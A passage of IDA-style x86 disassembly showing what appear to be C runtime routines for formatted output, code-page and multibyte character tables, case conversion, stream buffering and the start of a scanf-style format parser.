		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD164
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0B0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D1A0
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2670000h
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD280
		cmp	[ebp+var_18], 1
		mov	dword_4DD164, esi
		rep stosd
		stosb
		mov	dword_4DD384, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD281[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD280
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0C0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D0A8[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD281[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD17C, 1
		push	eax
		mov	dword_4DD164, eax
		call	sub_42092C
		lea	esi, dword_43D0B4[esi]
		mov	edi, offset dword_4DD170
		movsd
		movsd
		pop	ecx
		mov	dword_4DD384, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD281[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD384, eax
		mov	dword_4DD17C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD17C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD170
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE5C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE5C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE5C, 1
		jmp	near ptr 26618A3h
; ---------------------------------------------------------------------------
		db 0A9h
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE5C, 1
		nop
		jmp	near ptr 26618CEh
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBEA4
		mov	dword_4DBE5C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD280
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD170
		mov	dword_4DD164, eax
		mov	dword_4DD17C, eax
		mov	dword_4DD384, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD164
		nop
		call	near ptr 2670000h
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD384
		push	dword_4DD164
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD164
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD384
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD164
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD384
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD281[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD180[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD281[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD180[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD281[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD180[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD281[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD180[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD3B4, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD3B4, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD17C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD281[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE94, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D094, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDF0, ecx
		mov	eax, offset dword_43D1A0


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D308
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDEC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D1A4[edx*8]
		mov	dword_4DBDEC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDEC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDEC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D598
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5B8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFBC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE60[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE60h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D094, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE88
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D094, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
